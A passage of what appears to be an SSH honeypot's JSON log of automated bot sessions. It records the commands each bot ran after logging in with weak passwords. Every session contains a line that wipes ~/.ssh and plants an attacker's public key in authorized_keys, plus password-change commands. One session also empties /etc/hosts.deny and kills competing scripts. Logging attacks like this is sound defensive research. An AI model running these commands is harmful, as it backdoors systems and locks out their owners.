$5, $6, $7}'"},{"seq":10,"at":"2026-08-27T05:11:23.563818+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T05:11:23.899299+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T05:11:25.262511+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T05:11:25.595261+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T05:11:25.883453+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T05:11:26.213783+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T05:11:27.031902+00:00","kind":"output","latency_ms":null,"data":" 05:11:27 up 7 days, 2:01, 0 user, load average: 0.26, 0.27, 0.18\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T05:11:27.363598+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T05:11:27.639177+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T05:11:27.971332+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T05:11:28.572065+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T05:11:28.903992+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T05:11:29.434054+00:00","kind":"output","latency_ms":null,"data":"top - 05:11:29 up 7 days, 2:01, 0 user, load average: 0.26, 0.27, 0.18\nTasks: 128 total, 1 running, 127 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6990 free, 8897 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T05:11:29.764248+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T05:11:30.359380+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T05:11:30.697135+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T05:11:31.288040+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T05:11:31.618530+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T05:11:32.029188+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T05:11:32.360702+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T05:11:33.152119+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T05:11:33.480669+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T05:11:34.873503+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Ky123456","method":"password","accepted":true,"tier":"other"}]} {"id":"a29c6c7a-0f36-4218-847d-a12fca09a8c8","name":"sandy-gallant-bowerbird","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":41764,"username":"toto","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":308,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T05:09:39.125729+00:00","ended_at":"2026-08-27T05:09:40.368070+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2255,"events":[{"seq":1,"at":"2026-08-27T05:09:21.922215+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T05:09:22.231105+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T05:09:25.817553+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T05:09:26.401926+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T05:09:26.713823+00:00","kind":"input","latency_ms":null,"data":"echo -e \"password\\n0BcgtIge6DrK\\n0BcgtIge6DrK\"|passwd|bash"},{"seq":6,"at":"2026-08-27T05:09:27.020569+00:00","kind":"input","latency_ms":null,"data":"echo \"password\\n0BcgtIge6DrK\\n0BcgtIge6DrK\\n\"|passwd"},{"seq":7,"at":"2026-08-27T05:09:27.328561+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T05:09:27.841584+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T05:09:28.150448+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T05:09:29.384345+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T05:09:29.696255+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T05:09:30.904780+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T05:09:31.216784+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T05:09:31.610801+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T05:09:31.919331+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T05:09:32.361069+00:00","kind":"output","latency_ms":null,"data":" 05:09:32 up 7 days, 1:59, 0 user, load average: 0.11, 0.13, 0.13\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T05:09:32.669490+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T05:09:33.408628+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T05:09:33.716563+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T05:09:34.151520+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T05:09:34.460121+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T05:09:34.796754+00:00","kind":"output","latency_ms":null,"data":"top - 05:09:34 up 7 days, 1:59, 0 user, load average: 0.11, 0.13, 0.13\nTasks: 123 total, 1 running, 122 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9850 free, 6037 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T05:09:35.106088+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T05:09:35.921284+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T05:09:36.231785+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T05:09:36.741111+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T05:09:37.048652+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T05:09:37.645151+00:00","kind":"output","latency_ms":null,"data":"toto"},{"seq":29,"at":"2026-08-27T05:09:37.951409+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T05:09:38.818759+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T05:09:39.126599+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T05:09:40.273955+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"toto","password":"password","method":"password","accepted":true,"tier":"other"}]} {"id":"f2b037a4-f809-48ec-ab8c-f4dae8862aae","name":"primal-earnest-nuthatch","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":33842,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":326,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T05:07:34.182813+00:00","ended_at":"2026-08-27T05:07:35.239789+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T05:07:16.312748+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T05:07:16.645272+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T05:07:19.628391+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T05:07:20.271003+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T05:07:20.601353+00:00","kind":"input","latency_ms":null,"data":"echo \"root:B70hnRlrkP9Z\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T05:07:20.922480+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T05:07:21.244369+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T05:07:21.843126+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T05:07:22.168191+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T05:07:23.570675+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T05:07:23.897513+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T05:07:24.837828+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T05:07:25.164554+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T05:07:25.523062+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T05:07:25.849730+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T05:07:26.744478+00:00","kind":"output","latency_ms":null,"data":" 05:07:26 up 7 days, 1:57, 0 user, load average: 0.22, 0.29, 0.26\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T05:07:27.072897+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T05:07:27.552137+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T05:07:27.878468+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T05:07:28.514594+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T05:07:28.839951+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T05:07:29.398767+00:00","kind":"output","latency_ms":null,"data":"top - 05:07:29 up 7 days, 1:57, 0 user, load average: 0.22, 0.29, 0.26\nTasks: 110 total, 1 running, 109 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8261 free, 7626 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T05:07:29.724242+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T05:07:30.220230+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T05:07:30.545826+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T05:07:31.263232+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T05:07:31.586917+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T05:07:32.260017+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T05:07:32.588804+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T05:07:33.858942+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T05:07:34.183595+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T05:07:35.141029+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Mouse2025","method":"password","accepted":true,"tier":"other"}]} {"id":"56fcbcf7-9c64-43b9-aa4f-26d3d1c45612","name":"dusky-vigilant-lemur","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":46860,"username":"pm","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":319,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T05:05:27.832813+00:00","ended_at":"2026-08-27T05:05:29.140827+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2241,"events":[{"seq":1,"at":"2026-08-27T05:05:09.533608+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T05:05:09.851370+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T05:05:14.177795+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T05:05:14.737927+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T05:05:15.060891+00:00","kind":"input","latency_ms":null,"data":"echo -e \"pm\\npc0Yvj2SP9HR\\npc0Yvj2SP9HR\"|passwd|bash"},{"seq":6,"at":"2026-08-27T05:05:15.376424+00:00","kind":"input","latency_ms":null,"data":"echo \"pm\\npc0Yvj2SP9HR\\npc0Yvj2SP9HR\\n\"|passwd"},{"seq":7,"at":"2026-08-27T05:05:15.692231+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T05:05:16.266938+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T05:05:16.587226+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T05:05:17.858420+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T05:05:18.179019+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T05:05:19.506644+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T05:05:19.826973+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T05:05:20.456636+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T05:05:20.778258+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T05:05:21.099343+00:00","kind":"output","latency_ms":null,"data":" 05:05:21 up 7 days, 1:55, 0 user, load average: 0.17, 0.16, 0.16\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T05:05:21.412394+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T05:05:21.900751+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T05:05:22.217657+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T05:05:22.848044+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T05:05:23.165638+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T05:05:23.714473+00:00","kind":"output","latency_ms":null,"data":"top - 05:05:23 up 7 days, 1:55, 0 user, load average: 0.17, 0.16, 0.16\nTasks: 117 total, 1 running, 116 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9215 free, 6672 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T05:05:24.032506+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T05:05:24.478529+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T05:05:24.797525+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T05:05:25.515894+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T05:05:25.833686+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T05:05:26.328034+00:00","kind":"output","latency_ms":null,"data":"pm"},{"seq":29,"at":"2026-08-27T05:05:26.646698+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T05:05:27.518717+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T05:05:27.833728+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T05:05:29.043902+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"pm","password":"pm","method":"password","accepted":true,"tier":"other"}]} {"id":"1b65979d-eb18-4cb5-9cec-03cfe12605f9","name":"gentle-autumn-parakeet","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":49382,"username":"jesus","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":313,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T05:01:37.792100+00:00","ended_at":"2026-08-27T05:01:39.262764+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2258,"events":[{"seq":1,"at":"2026-08-27T05:01:14.046066+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T05:01:14.357279+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T05:01:19.318496+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T05:01:21.353705+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T05:01:21.662315+00:00","kind":"input","latency_ms":null,"data":"echo -e \"jesus2025\\nVCgqH3oG7GmK\\nVCgqH3oG7GmK\"|passwd|bash"},{"seq":6,"at":"2026-08-27T05:01:21.972517+00:00","kind":"input","latency_ms":null,"data":"echo \"jesus2025\\nVCgqH3oG7GmK\\nVCgqH3oG7GmK\\n\"|passwd"},{"seq":7,"at":"2026-08-27T05:01:22.285160+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T05:01:23.371635+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T05:01:23.631472+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T05:01:24.040775+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T05:01:24.358156+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T05:01:26.489884+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T05:01:26.805107+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T05:01:28.074872+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T05:01:28.389188+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T05:01:29.775995+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T05:01:30.091065+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T05:01:30.858893+00:00","kind":"output","latency_ms":null,"data":" 05:01:30 up 7 days, 1:51, 0 user, load average: 0.34, 0.42, 0.38\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T05:01:31.169961+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T05:01:31.467166+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T05:01:31.779891+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T05:01:32.627045+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T05:01:32.941850+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T05:01:33.514057+00:00","kind":"output","latency_ms":null,"data":"top - 05:01:33 up 7 days, 1:51, 0 user, load average: 0.34, 0.42, 0.38\nTasks: 129 total, 1 running, 128 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 